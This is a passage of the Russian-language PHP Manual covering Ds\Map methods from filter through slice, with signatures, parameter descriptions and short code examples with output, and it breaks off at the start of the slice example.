public Ds\Map::filter(callable $callback = ?): Ds\Map

Создаёт новую коллекцию пар из элементов, выбранных с помощью заданной callback-функции.

Список параметров

callback

callback(mixed $key, mixed $value): bool

Опциональный аргумент типа callable, который возвращает true, если пара должна быть включена и false, если нет.

Если callback-функция не задана, то будут включены только элементы, которые приводятся к логическому значению true (смотрите раздел с приведением к boolean).

Возвращаемые значения

Новая коллекция пар, содержащая значения, для которых callback-функция вернула true, или все элементы, которые при приведении к логическому типу становятся true, если параметр callback не задан.

Примеры

Пример #1 Пример Ds\Map::filter() с использованием callback-функции

<?php
$map = new \Ds\Map(["a", "b", "c", "d", "e"]);

var_dump($map->filter(function($key, $value) {
return $key % 2 == 0;
}));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Map)#3 (3) {
  [0]=>
  object(Ds\Pair)#2 (2) {
    ["key"]=>
    int(0)
    ["value"]=>
    string(1) "a"
  }
  [1]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    int(2)
    ["value"]=>
    string(1) "c"
  }
  [2]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    int(4)
    ["value"]=>
    string(1) "e"
  }
}

Пример #2 Пример Ds\Map::filter() без callback-функции

<?php
$map = new \Ds\Map(["a" => 0, "b" => 1, "c" => true, "d" => false]);

var_dump($map->filter());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Map)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первый элемент коллекции

  • « Ds\Map::filter
  • Ds\Map::get »
  • PHP Manual
  • Ds\Map
  • Возвращает первый элемент коллекции

Ds\Map::first

(PECL ds >= 1.0.0)

Ds\Map::first — Возвращает первый элемент коллекции

Описание

public Ds\Map::first(): Ds\Pair

Возвращает первый элемент коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первый элемент коллекции.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Map::first()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->first());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "a"
  ["value"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение по ключу

  • « Ds\Map::first
  • Ds\Map::hasKey »
  • PHP Manual
  • Ds\Map
  • Возвращает значение по ключу

Ds\Map::get

(PECL ds >= 1.0.0)

Ds\Map::get — Возвращает значение по ключу

Описание

public Ds\Map::get(mixed $key, mixed $default = ?): mixed

Возвращает значение по заданному ключу, или необязательное значение по умолчанию, если ключ не найден.

Замечание:

Поддерживаются значения типа object. Если объект реализует интерфейс Ds\Hashable, проверка производится путём вызова метода объекта equals. Если объект не реализует интерфейс Ds\Hashable, объекты должны ссылаться на один и тот же экземпляр класса.

Замечание:

Вы можете использовать синтаксис массива для доступа к значениям, т.е. $map["key"].

Предостережение

Будьте осторожны при использовании синтаксиса массива. Скалярные ключи будут приведены к целым движком PHP. К примеру, $map["1"] будет пытаться обратиться к int(1), тогда как $map->get("1") обратится к правильному элементу.

Смотрите раздел Массивы.

Список параметров

key

Ключ.

default

Необязательное значение, которое вернётся, если элемент с заданным ключом отсутствует.

Возвращаемые значения

Значение по ключу key, или значение default, если ключ не найден.

Ошибки

Выбрасывает исключение OutOfBoundsException если ключе не найден и значение по умолчанию не задано.

Примеры

Пример #1 Пример использования Ds\Map::get()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->get("a")); // 1
var_dump($map->get("d", 10)); // 10 (используется по умолчанию)
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)
int(10)

Пример #2 Пример использования Ds\Map::get() с синтаксисом массива

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map["a"]); // 1
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли коллекция заданный ключ

  • « Ds\Map::get
  • Ds\Map::hasValue »
  • PHP Manual
  • Ds\Map
  • Проверяет, содержит ли коллекция заданный ключ

Ds\Map::hasKey

(PECL ds >= 1.0.0)

Ds\Map::hasKey — Проверяет, содержит ли коллекция заданный ключ

Описание

public Ds\Map::hasKey(mixed $key): bool

Проверяет, содержит ли коллекция заданный ключ.

Список параметров

key

Проверяемый ключ.

Возвращаемые значения

Возвращает true, если ключ найден, иначе false.

Примеры

Пример #1 Пример использования Ds\Map::hasKey()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->hasKey("a")); // true
var_dump($map->hasKey("e")); // false
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли коллекция заданное значение

  • « Ds\Map::hasKey
  • Ds\Map::intersect »
  • PHP Manual
  • Ds\Map
  • Проверяет, содержит ли коллекция заданное значение

Ds\Map::hasValue

(PECL ds >= 1.0.0)

Ds\Map::hasValue — Проверяет, содержит ли коллекция заданное значение

Описание

public Ds\Map::hasValue(mixed $value): bool

Проверяет, содержит ли коллекция заданное значение.

Список параметров

value

Значение для проверки.

Возвращаемые значения

Возвращает true, если ключ найден, иначе false.

Примеры

Пример #1 Пример использования Ds\Map::hasValue()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->hasValue(1)); // true
var_dump($map->hasValue(4)); // false
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую коллекцию пар, созданную пересечением с другой коллекцией пар

  • « Ds\Map::hasValue
  • Ds\Map::isEmpty »
  • PHP Manual
  • Ds\Map
  • Создаёт новую коллекцию пар, созданную пересечением с другой коллекцией пар

Ds\Map::intersect

(PECL ds >= 1.0.0)

Ds\Map::intersect — Создаёт новую коллекцию пар, созданную пересечением с другой коллекцией пар

Описание

public Ds\Map::intersect(Ds\Map $map): Ds\Map

Создаёт новую коллекцию пар из текущей, содержащую элементы, ключи которых присутствуют как в текущей коллекции, так и в переданной в параметре map. Другими словами, возвращает копию текущей коллекции, из которой удалены все элементы, ключи которых отсутствуют в коллекции из map.

A ? B = {x : x ? A ? x ? B}

Замечание:

Значения берутся из текущей коллекции пар.

Список параметров

map

Новая коллекция типа Map.

Возвращаемые значения

Пересечение текущей коллекции и переданной в map.

Смотрите также

  • » Пересечение на Википедия

Примеры

Пример #1 Пример использования Ds\Map::intersect()

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

var_dump($a->intersect($b));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Map)#3 (2) {
  [0]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [1]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли коллекция

  • « Ds\Map::intersect
  • Ds\Map::jsonSerialize »
  • PHP Manual
  • Ds\Map
  • Проверяет, пуста ли коллекция

Ds\Map::isEmpty

(PECL ds >= 1.0.0)

Ds\Map::isEmpty — Проверяет, пуста ли коллекция

Описание

public Ds\Map::isEmpty(): bool

Проверяет, пуста ли коллекция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если коллекция пуста, и false в противном случае.

Примеры

Пример #1 Пример использования Ds\Map::isEmpty()

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коллекцию в JSON-представлении

  • « Ds\Map::isEmpty
  • Ds\Map::keys »
  • PHP Manual
  • Ds\Map
  • Возвращает коллекцию в JSON-представлении

Ds\Map::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Map::jsonSerialize — Возвращает коллекцию в JSON-представлении

Смотри JsonSerializable::jsonSerialize()

Замечание:

Никогда не используйте эту функцию напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор ключей коллекции

  • « Ds\Map::jsonSerialize
  • Ds\Map::ksort »
  • PHP Manual
  • Ds\Map
  • Возвращает набор ключей коллекции

Ds\Map::keys

(PECL ds >= 1.0.0)

Ds\Map::keys — Возвращает набор ключей коллекции

Описание

public Ds\Map::keys(): Ds\Set

Возвращает набор ключей коллекции, с сохранением их порядка.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Коллекция Ds\Set, содержащая все ключи текущей коллекции.

Примеры

Пример #1 Пример использования Ds\Map::keys()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->keys());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#2 (3) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}

User Contributed Notes

There are no user contributed notes for this page.


Сортирует текущую коллекцию по ключам

  • « Ds\Map::keys
  • Ds\Map::ksorted »
  • PHP Manual
  • Ds\Map
  • Сортирует текущую коллекцию по ключам

Ds\Map::ksort

(PECL ds >= 1.0.0)

Ds\Map::ksort — Сортирует текущую коллекцию по ключам

Описание

public Ds\Map::ksort(callable $comparator = ?): void

Сортирует текущую коллекцию по ключам, опционально используя callback-функцию comparator для сравнения элементов.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::ksort()

<?php
$map = new \Ds\Map(["b" => 2, "c" => 3, "a" => 1]);
$map->ksort();

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

Пример #2 Пример использования Ds\Map::ksort() с callback-функцией сравнения

<?php
$map = new \Ds\Map([1 => "x", 2 => "y", 0 => "z"]);

// Обратный порядок
$map->ksort(function($a, $b) {
return $b <=> $a;
});

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => 2
            [value] => y
        )

    [1] => Ds\Pair Object
        (
            [key] => 1
            [value] => x
        )

    [2] => Ds\Pair Object
        (
            [key] => 0
            [value] => z
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает копию коллекции, отсортированной по ключам

  • « Ds\Map::ksort
  • Ds\Map::last »
  • PHP Manual
  • Ds\Map
  • Возвращает копию коллекции, отсортированной по ключам

Ds\Map::ksorted

(Информация о версии неизвестна, возможно, только в Git)

Ds\Map::ksorted — Возвращает копию коллекции, отсортированной по ключам

Описание

public Ds\Map::ksorted(callable $comparator = ?): Ds\Map

Возвращает копию коллекции, отсортированной по ключам, опционально используя callback-функцию comparator для сравнения элементов.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает копию коллекции, отсортированной по ключам.

Примеры

Пример #1 Пример использования Ds\Map::ksorted()

<?php
$map = new \Ds\Map(["b" => 2, "c" => 3, "a" => 1]);

print_r($map->ksorted());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

Пример #2 Пример использования Ds\Map::ksorted() с callback-функцией сравнения

<?php
$map = new \Ds\Map([1 => "x", 2 => "y", 0 => "z"]);

// Обратный порядок
$sorted = $map->ksorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => 2
            [value] => y
        )

    [1] => Ds\Pair Object
        (
            [key] => 1
            [value] => x
        )

    [2] => Ds\Pair Object
        (
            [key] => 0
            [value] => z
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнюю пару коллекции

  • « Ds\Map::ksorted
  • Ds\Map::map »
  • PHP Manual
  • Ds\Map
  • Возвращает последнюю пару коллекции

Ds\Map::last

(PECL ds >= 1.0.0)

Ds\Map::last — Возвращает последнюю пару коллекции

Описание

public Ds\Map::last(): Ds\Pair

Возвращает последнюю пару коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний элемент коллекции.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Map::last()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->last());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "c"
  ["value"]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат применения callback-функции ко всем значениям коллекции

  • « Ds\Map::last
  • Ds\Map::merge »
  • PHP Manual
  • Ds\Map
  • Возвращает результат применения callback-функции ко всем значениям коллекции

Ds\Map::map

(PECL ds >= 1.0.0)

Ds\Map::map — Возвращает результат применения callback-функции ко всем значениям коллекции

Описание

public Ds\Map::map(callable $callback): Ds\Map

Возвращает результат применения callback-функции, переданной в callback, ко всем значениям коллекции.

Список параметров

callback

callback(mixed $key, mixed $value): mixed

Аргумент типа callable.

Эта функция должна возвращать новое значение для каждого элемента коллекции.

Возвращаемые значения

Результат применения callback к каждому значению коллекции.

Замечание:

Значения в текущей коллекции останутся неизменными.

Примеры

Пример #1 Пример использования Ds\Map::map()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->map(function($key, $value) { return $value * 2; }));
print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 4
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 6
        )

)
Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат добавления всех заданных элементов в коллекцию

  • « Ds\Map::map
  • Ds\Map::pairs »
  • PHP Manual
  • Ds\Map
  • Возвращает результат добавления всех заданных элементов в коллекцию

Ds\Map::merge

(PECL ds >= 1.0.0)

Ds\Map::merge — Возвращает результат добавления всех заданных элементов в коллекцию

Описание

public Ds\Map::merge(mixed $values): Ds\Map

Возвращает результат добавления всех ключей переданного объекта класса traversable или массива (array) с соответствующими значениями в текущую коллекцию.

Замечание:

Значения текущей коллекции будут перезаписаны, если переданные ключи уже существуют.

Список параметров

values

Объект класса traversable или array.

Возвращаемые значения

Возвращает результат добавления всех ключей переданного объекта класса traversable или массива с соответствующими значениями в текущую коллекцию

Замечание:

Текущий экземпляр коллекции останется нетронутым.

Примеры

Пример #1 Пример использования Ds\Map::merge()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->merge(["a" => 10, "e" => 50]));
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 10
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [3] => Ds\Pair Object
        (
            [key] => e
            [value] => 50
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последовательность, содержащую все пары коллекции

  • « Ds\Map::merge
  • Ds\Map::put »
  • PHP Manual
  • Ds\Map
  • Возвращает последовательность, содержащую все пары коллекции

Ds\Map::pairs

(PECL ds >= 1.0.0)

Ds\Map::pairs — Возвращает последовательность, содержащую все пары коллекции

Описание

public Ds\Map::pairs(): Ds\Sequence

Возвращает Ds\Sequence, содержащую все пары коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ds\Sequence, содержащая все пары исходной коллекции.

Примеры

Пример #1 Пример использования Ds\Map::pairs()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->pairs());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Map)#8 (3) {
  [0]=>
  object(Ds\Pair)#5 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
  [1]=>
  object(Ds\Pair)#6 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [2]=>
  object(Ds\Pair)#7 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}
p

User Contributed Notes

There are no user contributed notes for this page.


Установка значения по заданному ключу

  • « Ds\Map::pairs
  • Ds\Map::putAll »
  • PHP Manual
  • Ds\Map
  • Установка значения по заданному ключу

Ds\Map::put

(PECL ds >= 1.0.0)

Ds\Map::put — Установка значения по заданному ключу

Описание

public Ds\Map::put(mixed $key, mixed $value): void

Связывает ключ key со значением value, если элемент с таким ключом уже существует - его значение перезаписывается.

Замечание:

Поддерживаются значения типа object. Если объект реализует интерфейс Ds\Hashable, проверка производится путём вызова метода объекта equals. Если объект не реализует интерфейс Ds\Hashable, объекты должны ссылаться на один и тот же экземпляр класса.

Замечание:

Вы можете использовать синтаксис массива для доступа к значениям, т.е. $map["key"].

Предостережение

Будьте осторожны при использовании синтаксиса массива. Скалярные ключи будут приведены к целым движком PHP. К примеру, $map["1"] будет пытаться обратиться к int(1), тогда как $map->get("1") обратится к правильному элементу.

Смотрите раздел Массивы.

Список параметров

key

Ключ.

value

Значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::put()

<?php
$map = new \Ds\Map();

$map->put("a", 1);
$map->put("b", 2);
$map->put("c", 3);

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

Пример #2 Пример использования Ds\Map::put() с объектами в качестве ключей

<?php
class HashableObject implements \Ds\Hashable
{
/**
* Значение, которое мы будем использовать в качестве хеша. Не определяет идентичность.
*/
private $value;

public function __construct($value)
{
$this->value = $value;
}

public function hash()
{
return $this->value;
}

public function equals($obj): bool
{
return $this->value === $obj->value;
}
}

$map = new \Ds\Map();

$obj = new \ArrayIterator([]);

// Использование одного и того же экземпляра объекта несколько раз будет каждый раз
// перезаписывать значение
$map->put($obj, 1);
$map->put($obj, 2);

// Использование разных экземпляров одного и того же класса будет создавать новые
// элементы
$map->put(new \stdClass(), 3);
$map->put(new \stdClass(), 4);

// Использование одинаковых hashable-экземпляров несколько раз будет перезаписывать
// предыдущие значения
$map->put(new \HashableObject(1), 5);
$map->put(new \HashableObject(1), 6);
$map->put(new \HashableObject(2), 7);
$map->put(new \HashableObject(2), 8);

var_dump($map);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Map)#1 (5) {
  [0]=>
  object(Ds\Pair)#7 (2) {
    ["key"]=>
    object(ArrayIterator)#2 (1) {
      ["storage":"ArrayIterator":private]=>
      array(0) {
      }
    }
    ["value"]=>
    int(2)
  }
  [1]=>
  object(Ds\Pair)#8 (2) {
    ["key"]=>
    object(stdClass)#3 (0) {
    }
    ["value"]=>
    int(3)
  }
  [2]=>
  object(Ds\Pair)#9 (2) {
    ["key"]=>
    object(stdClass)#4 (0) {
    }
    ["value"]=>
    int(4)
  }
  [3]=>
  object(Ds\Pair)#10 (2) {
    ["key"]=>
    object(HashableObject)#5 (1) {
      ["value":"HashableObject":private]=>
      int(1)
    }
    ["value"]=>
    int(6)
  }
  [4]=>
  object(Ds\Pair)#11 (2) {
    ["key"]=>
    object(HashableObject)#6 (1) {
      ["value":"HashableObject":private]=>
      int(2)
    }
    ["value"]=>
    int(8)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Связывает с коллекцией все пары ключ-значение из объекта класса traversable или массива

  • « Ds\Map::put
  • Ds\Map::reduce »
  • PHP Manual
  • Ds\Map
  • Связывает с коллекцией все пары ключ-значение из объекта класса traversable или массива

Ds\Map::putAll

(PECL ds >= 1.0.2)

Ds\Map::putAll — Связывает с коллекцией все пары ключ-значение из объекта класса traversable или массива

Описание

public Ds\Map::putAll(mixed $pairs): void

Связывает с коллекцией все пары ключ-значение pairs из объекта класса traversable или array.

Замечание:

Поддерживаются значения типа object. Если объект реализует интерфейс Ds\Hashable, проверка производится путём вызова метода объекта equals. Если объект не реализует интерфейс Ds\Hashable, объекты должны ссылаться на один и тот же экземпляр класса.

Список параметров

pairs

Объект класса traversable или array.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::putAll()

<?php
$map = new \Ds\Map();

$map->putAll([
"a" => 1,
"b" => 2,
"c" => 3,
]);

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает коллекцию до одного значения, используя callback-функцию

  • « Ds\Map::putAll
  • Ds\Map::remove »
  • PHP Manual
  • Ds\Map
  • Уменьшает коллекцию до одного значения, используя callback-функцию

Ds\Map::reduce

(PECL ds >= 1.0.0)

Ds\Map::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию

Описание

public Ds\Map::reduce(callable $callback, mixed $initial = ?): mixed

Уменьшает коллекцию до одного значения, используя callback-функцию.

Список параметров

callback
callback(mixed $carry, mixed $key, mixed $value): mixed
carry

Значение, возвращённое предыдущим запуском функции или initial, если функция запущена в первый раз.

key

Ключ текущей итерации.

value

Значение текущей итерации.

initial

Начальное значение для параметра carry. Можно указать null.

Возвращаемые значения

Значение, возвращённое окончательным запуском callback-функции.

Примеры

Пример #1 Пример использования Ds\Map::reduce() с начальным значением

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

$callback = function($carry, $key, $value) {
return $carry * $value;
};

var_dump($map->reduce($callback, 5));

// Итерации:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

Результатом выполнения данного примера будет что-то подобное:

int(30)

Пример #2 Пример использования Ds\Map::reduce() без начального значения

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->reduce(function($carry, $key, $value) {
return $carry + $value + 5;
}));

// Итерации:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

Результатом выполнения данного примера будет что-то подобное:

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает значение по ключу

  • « Ds\Map::reduce
  • Ds\Map::reverse »
  • PHP Manual
  • Ds\Map
  • Удаляет и возвращает значение по ключу

Ds\Map::remove

(PECL ds >= 1.0.0)

Ds\Map::remove — Удаляет и возвращает значение по ключу

Описание

public Ds\Map::remove(mixed $key, mixed $default = ?): mixed

Удаляет и возвращает значение по ключу, либо возвращает необязательное значение по умолчанию, если ключ не найден.

Замечание:

Поддерживаются значения типа object. Если объект реализует интерфейс Ds\Hashable, проверка производится путём вызова метода объекта equals. Если объект не реализует интерфейс Ds\Hashable, объекты должны ссылаться на один и тот же экземпляр класса.

Замечание:

Вы можете использовать синтаксис массива для доступа к значениям, т.е. $map["key"].

Предостережение

Будьте осторожны при использовании синтаксиса массива. Скалярные ключи будут приведены к целым движком PHP. К примеру, $map["1"] будет пытаться обратиться к int(1), тогда как $map->get("1") обратится к правильному элементу.

Смотрите раздел Массивы.

Список параметров

key

Ключ для удаления.

default

Необязательный параметр, устанавливающий возвращаемое значение по умолчанию, если ключ не найден.

Возвращаемые значения

Удалённое значение или default, если он указан, а ключ key не найден.

Ошибки

Выбрасывает исключение OutOfRangeException, если ключ не найден и не задано значение по умолчанию.

Примеры

Пример #1 Пример использования Ds\Map::remove()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->remove("a")); // 1
var_dump($map->remove("e", 10)); // 10 (используется по умолчанию)
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)
int(10)

User Contributed Notes

carlo dot revelli at berkeley dot edu 24-Nov-2019 11:05
Note the syntax

<?php

unset($map[$key]);

?>

is also valid and ran 2x faster on my machine


Переворачивает текущую коллекцию

  • « Ds\Map::remove
  • Ds\Map::reversed »
  • PHP Manual
  • Ds\Map
  • Переворачивает текущую коллекцию

Ds\Map::reverse

(PECL ds >= 1.0.0)

Ds\Map::reverse — Переворачивает текущую коллекцию

Описание

public Ds\Map::reverse(): void

Переворачивает текущую коллекцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::reverse()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$map->reverse();

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает перевёрнутую копию коллекции

  • « Ds\Map::reverse
  • Ds\Map::skip »
  • PHP Manual
  • Ds\Map
  • Возвращает перевёрнутую копию коллекции

Ds\Map::reversed

(PECL ds >= 1.0.0)

Ds\Map::reversed — Возвращает перевёрнутую копию коллекции

Описание

public Ds\Map::reversed(): Ds\Map

Возвращает перевёрнутую копию коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Перевёрнутая копия коллекции.

Замечание:

Текущая коллекция не изменится.

Примеры

Пример #1 Пример использования Ds\Map::reversed()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->reversed());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пару по индексу позиции

  • « Ds\Map::reversed
  • Ds\Map::slice »
  • PHP Manual
  • Ds\Map
  • Возвращает пару по индексу позиции

Ds\Map::skip

(PECL ds >= 1.0.0)

Ds\Map::skip — Возвращает пару по индексу позиции

Описание

public Ds\Map::skip(int $position): Ds\Pair

Возвращает пару по индексу позиции position, первая пара имеет индекс 0.

Список параметров

position

Индекс позиции.

Возвращаемые значения

Возвращает Ds\Pair из заданной позиции position.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Map::skip()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->skip(1));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "b"
  ["value"]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает подмножество коллекции из заданного диапазона

  • « Ds\Map::skip
  • Ds\Map::sort »
  • PHP Manual
  • Ds\Map
  • Возвращает подмножество коллекции из заданного диапазона

Ds\Map::slice

(PECL ds >= 1.0.0)

Ds\Map::slice — Возвращает подмножество коллекции из заданного диапазона

Описание

public Ds\Map::slice(int $index, int $length = ?): Ds\Map

Возвращает подмножество коллекции из диапазона, заданного начальным индексом index и длиной length.

Список параметров

index

Индекс, задающий начало диапазона.

Если положительный, то будет отсчитываться от начала коллекции. Если отрицательный, то от конца.

length

Положительное значение определяет, сколько элементов будет взято. Если количество элементов коллекции меньше заданного значения, вернётся столько элементов, сколько есть. Отрицательное значение установит индекс, отсчитанный от конца коллекции, определяющий конец диапазона. Если длина не задана, то будут возвращены все элементы коллекции от заданного индекса до конца коллекции.

Возвращаемые значения

Подмножество коллекции из заданного диапазона.

Примеры

Пример #1 Пример использования Ds\Map::slice()

<?php
